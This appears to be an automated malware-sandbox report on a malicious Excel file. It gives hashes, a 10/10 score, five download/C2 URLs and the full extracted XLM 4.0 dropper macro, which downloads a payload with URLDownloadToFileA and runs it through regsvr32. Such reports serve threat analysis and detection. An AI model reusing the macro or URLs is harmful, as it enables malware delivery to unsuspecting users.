General

  • Target

    e296f11d96c8d415916e214a099f4229218ca9ab409b2716d9e47fe6eade42c6

  • Size

    173KB

  • Sample

    241120-wlhxfszrhs

  • MD5

    4c3699baa1ddb95602d4b04680edd08b

  • SHA1

    06651cd2023b4e10a5ab592dfd3da149fbc00e41

  • SHA256

    e296f11d96c8d415916e214a099f4229218ca9ab409b2716d9e47fe6eade42c6

  • SHA512

    7822c7776dd3897c261474d6f6a2b71d6cfcd91206eb47017f23fe44594dccb51c3c7cca7ff680537f61d82aa4ee9a6211e8fb1f540370fb4a902123e7304f20

  • SSDEEP

    3072:3UlKwtyfsBMtuqBqBqrhyqBqBqBqrhyqmBqenFZRmXANKXg7e79ElHIcp4Gg7SpB:3+KwtyfsBMtuqBqBqrhyqBqBqBqrhyqU

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://carretilha.net/whats/RSL50BlRP0a6hj/

https://shrinandrajoverseas.com/old/wQXty0wnVDY/

https://zionimoveis.com.br/wp-content/Bn00gaw/

https://kontacsgo.pl/m/uwZYNUjGeWW/

http://vps36153.publiccloud.com.br/wp-admin/RfAZZ776uMNhSpOT/

Attributes
  • formulas

    =FORMULA() =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://carretilha.net/whats/RSL50BlRP0a6hj/","..\xxw1.ocx",0,0) =IF('EFWFSFG'!D15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://shrinandrajoverseas.com/old/wQXty0wnVDY/","..\xxw1.ocx",0,0)) =IF('EFWFSFG'!D17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://zionimoveis.com.br/wp-content/Bn00gaw/","..\xxw1.ocx",0,0)) =IF('EFWFSFG'!D19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://kontacsgo.pl/m/uwZYNUjGeWW/","..\xxw1.ocx",0,0)) =IF('EFWFSFG'!D21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://vps36153.publiccloud.com.br/wp-admin/RfAZZ776uMNhSpOT/","..\xxw1.ocx",0,0)) =IF('EFWFSFG'!D23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\xxw1.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

https://carretilha.net/whats/RSL50BlRP0a6hj/

xlm40.dropper

https://shrinandrajoverseas.com/old/wQXty0wnVDY/

xlm40.dropper

https://zionimoveis.com.br/wp-content/Bn00gaw/

xlm40.dropper

https://kontacsgo.pl/m/uwZYNUjGeWW/

xlm40.dropper

http://vps36153.publiccloud.com.br/wp-admin/RfAZZ776uMNhSpOT/

Targets

    • Target

      e296f11d96c8d415916e214a099f4229218ca9ab409b2716d9e47fe6eade42c6

    • Size

      173KB

    • MD5

      4c3699baa1ddb95602d4b04680edd08b

    • SHA1

      06651cd2023b4e10a5ab592dfd3da149fbc00e41

    • SHA256

      e296f11d96c8d415916e214a099f4229218ca9ab409b2716d9e47fe6eade42c6

    • SHA512

      7822c7776dd3897c261474d6f6a2b71d6cfcd91206eb47017f23fe44594dccb51c3c7cca7ff680537f61d82aa4ee9a6211e8fb1f540370fb4a902123e7304f20

    • SSDEEP

      3072:3UlKwtyfsBMtuqBqBqrhyqBqBqBqrhyqmBqenFZRmXANKXg7e79ElHIcp4Gg7SpB:3+KwtyfsBMtuqBqBqrhyqBqBqBqrhyqU

    Score
    10/10

MITRE ATT&CK Enterprise v15

Tasks